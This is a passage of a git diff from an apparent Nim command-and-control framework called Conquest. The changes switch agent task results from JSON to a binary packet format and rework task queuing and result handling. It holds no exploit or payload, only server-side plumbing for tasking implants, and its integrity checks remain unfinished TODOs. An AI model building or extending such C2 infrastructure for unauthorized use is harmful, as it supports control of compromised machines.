-proc initTaskPacker*(): Packer =
+proc initPacker*(): Packer =
result = new Packer
result.stream = newStringStream()
@@ -25,8 +25,8 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
packer.add(arg.argType)
- case arg.argType:
- of cast[uint8](STRING), cast[uint8](BINARY):
+ case cast[ArgType](arg.argType):
+ of STRING, BINARY:
# Add length for variable-length data types
packer.add(cast[uint32](arg.data.len))
packer.addData(arg.data)
@@ -76,6 +76,10 @@ proc getUint64*(unpacker: Unpacker): uint64 =
unpacker.position += 8
proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
+
+ if length <= 0:
+ return @[]
+
result = newSeq[byte](length)
let bytesRead = unpacker.stream.readData(result[0].addr, length)
unpacker.position += bytesRead
@@ -86,16 +90,16 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
proc getArgument*(unpacker: Unpacker): TaskArg =
result.argType = unpacker.getUint8()
- case result.argType:
- of cast[uint8](STRING), cast[uint8](BINARY):
+ case cast[ArgType](result.argType):
+ of STRING, BINARY:
# Variable-length fields are prefixed with the content-length
let length = unpacker.getUint32()
result.data = unpacker.getBytes(int(length))
- of cast[uint8](INT):
+ of INT:
result.data = unpacker.getBytes(4)
- of cast[uint8](LONG):
+ of LONG:
result.data = unpacker.getBytes(8)
- of cast[uint8](BOOL):
+ of BOOL:
result.data = unpacker.getBytes(1)
else:
discard
\ No newline at end of file
diff --git a/src/common/types.nim b/src/common/types.nim
index 34ad10c..0164b03 100644
--- a/src/common/types.nim
+++ b/src/common/types.nim
@@ -45,6 +45,7 @@ type
ResultType* = enum
RESULT_STRING = 0'u8
RESULT_BINARY = 1'u8
+ RESULT_NO_OUTPUT = 2'u8
Header* = object
magic*: uint32 # [4 bytes ] magic value
@@ -124,7 +125,7 @@ type
elevated*: bool
sleep*: int
jitter*: float
- tasks*: seq[seq[byte]]
+ tasks*: seq[Task]
firstCheckin*: DateTime
latestCheckin*: DateTime
diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim
index 951a91e..1d33638 100644
--- a/src/server/api/handlers.nim
+++ b/src/server/api/handlers.nim
@@ -2,6 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals]
import ../db/database
+import ../task/packer
import ../../common/types
# Utility functions
@@ -40,6 +41,8 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] =
{.cast(gcsafe).}:
+ var result: seq[seq[byte]]
+
# Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
@@ -55,40 +58,47 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] =
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
# return nil
- # Return tasks
- return cq.agents[agent.toUpperAscii].tasks
+ # Return tasks
+ for task in cq.agents[agent.toUpperAscii].tasks:
+ let taskData = serializeTask(task)
+ result.add(taskData)
+
+ return result
-proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
+proc handleResult*(resultData: seq[byte]) =
{.cast(gcsafe).}:
+ let
+ taskResult = deserializeTaskResult(resultData)
+ taskId = uuidToString(taskResult.taskId)
+ agentId = uuidToString(taskResult.agentId)
+ listenerId = uuidToString(taskResult.listenerId)
+
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")
- if taskResult.status == cast[uint8](STATUS_FAILED):
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
+ case cast[StatusType](taskResult.status):
+ of STATUS_COMPLETED:
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.")
- if taskResult.data.len != 0:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
+ of STATUS_FAILED:
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.")
+ case cast[ResultType](taskResult.resultType):
+ of RESULT_STRING:
+ if int(taskResult.length) > 0:
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
- # for line in decode(taskResult.data).split("\n"):
- # cq.writeLine(line)
- else:
- cq.writeLine()
+ for line in taskResult.data.toString().split("\n"):
+ cq.writeLine(line)
- else:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
-
- if taskResult.data.len != 0:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
+ of RESULT_BINARY:
+ # Write binary data to a file
+ cq.writeLine()
- # Split result string on newline to keep formatting
- # for line in decode(taskResult.data).split("\n"):
- # cq.writeLine(line)
- else:
- cq.writeLine()
+ of RESULT_NO_OUTPUT:
+ cq.writeLine()
# Update task queue to include all tasks, except the one that was just completed
- # cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
-
- return
\ No newline at end of file
+ cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
\ No newline at end of file
diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim
index 500e0bd..eafdd51 100644
--- a/src/server/api/routes.nim
+++ b/src/server/api/routes.nim
@@ -94,7 +94,7 @@ proc getTasks*(ctx: Context) {.async.} =
try:
var response: seq[byte]
- let tasks = getTasks(listener, agent)
+ let tasks: seq[seq[byte]] = getTasks(listener, agent)
if tasks.len <= 0:
resp "", Http200
@@ -134,21 +134,15 @@ proc postResults*(ctx: Context) {.async.} =
task = ctx.getPathParams("task")
# Check headers
- # If POST data is not JSON data, return 404 error code
- if ctx.request.contentType != "application/json":
+ # If POST data is not binary data, return 404 error code
+ if ctx.request.contentType != "application/octet-stream":
resp "", Http404
return
try:
- let
- taskResultJson: JsonNode = parseJson(ctx.request.body)
- taskResult: TaskResult = taskResultJson.to(TaskResult)
-
- # Handle and display task result
- handleResult(listener, agent, task, taskResult)
+ handleResult(ctx.request.body.toBytes())
except CatchableError:
- # JSON data is invalid or does not match the expected format (described above)
resp "", Http404
return
\ No newline at end of file
diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim
index 7e0caa7..c98d4b7 100644
--- a/src/server/task/dispatcher.nim
+++ b/src/server/task/dispatcher.nim
@@ -1,5 +1,5 @@
import times, strformat, terminal, tables, json, sequtils, strutils
-import ./[parser, packer]
+import ./[parser]
import ../utils
import ../../common/types
@@ -177,12 +177,9 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
let
command = getCommandFromTable(parsedArgs[0], commands)
task = cq.parseTask(command, parsedArgs[1..^1])
- taskData: seq[byte] = cq.serializeTask(task)
-
- # cq.writeLine(taskData.toHexDump())
# Add task to queue
- cq.interactAgent.tasks.add(taskData)
+ cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
except CatchableError:
diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim
index 68c829e..df09183 100644
--- a/src/server/task/packer.nim
+++ b/src/server/task/packer.nim
@@ -3,9 +3,9 @@ import ../utils
import ../../common/types
import ../../common/serialize
-proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
+proc serializeTask*(task: Task): seq[byte] =
- var packer = initTaskPacker()
+ var packer = initPacker()
# Serialize payload
packer
@@ -39,3 +39,63 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
# TODO: Calculate and patch HMAC
return header & payload
+
+proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
+
+ var unpacker = initUnpacker(resultData.toString)
+
+ let
+ magic = unpacker.getUint32()
+ version = unpacker.getUint8()
+ packetType = unpacker.getUint8()
+ flags = unpacker.getUint16()
+ seqNr = unpacker.getUint32()
+ size = unpacker.getUint32()
+ hmacBytes = unpacker.getBytes(16)
+
+ # Explicit conversion from seq[byte] to array[16, byte]
+ var hmac: array[16, byte]
+ copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
+
+ # Packet Validation
+ if magic != MAGIC:
+ raise newException(CatchableError, "Invalid magic bytes.")
+
+ # TODO: Validate sequence number
+
+ # TODO: Validate HMAC
+
+ # TODO: Decrypt payload
+ # let payload = unpacker.getBytes(size)
+
+ let
+ taskId = unpacker.getUint32()
+ agentId = unpacker.getUint32()
+ listenerId = unpacker.getUint32()
+ timestamp = unpacker.getUint32()
+ command = unpacker.getUint16()
+ status = unpacker.getUint8()
+ resultType = unpacker.getUint8()
+ length = unpacker.getUint32()
+ data = unpacker.getBytes(int(length))
+
+ return TaskResult(
+ header: Header(
+ magic: magic,
+ version: version,
+ packetType: packetType,
+ flags: flags,
+ seqNr: seqNr,
+ size: size,
+ hmac: hmac
+ ),
+ taskId: taskId,
+ agentId: agentId,
+ listenerId: listenerId,
+ timestamp: timestamp,
+ command: command,
+ status: status,
+ resultType: resultType,
+ length: length,
+ data: data
+ )
\ No newline at end of file
diff --git a/src/server/utils.nim b/src/server/utils.nim
index b6cb842..12bd1df 100644
--- a/src/server/utils.nim
+++ b/src/server/utils.nim
@@ -31,6 +31,11 @@ proc toString*(data: seq[byte]): string =
for i, b in data:
result[i] = char(b)
+proc toBytes*(data: string): seq[byte] =
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
proc toHexDump*(data: seq[byte]): string =
for i, b in data:
result.add(b.toHex(2))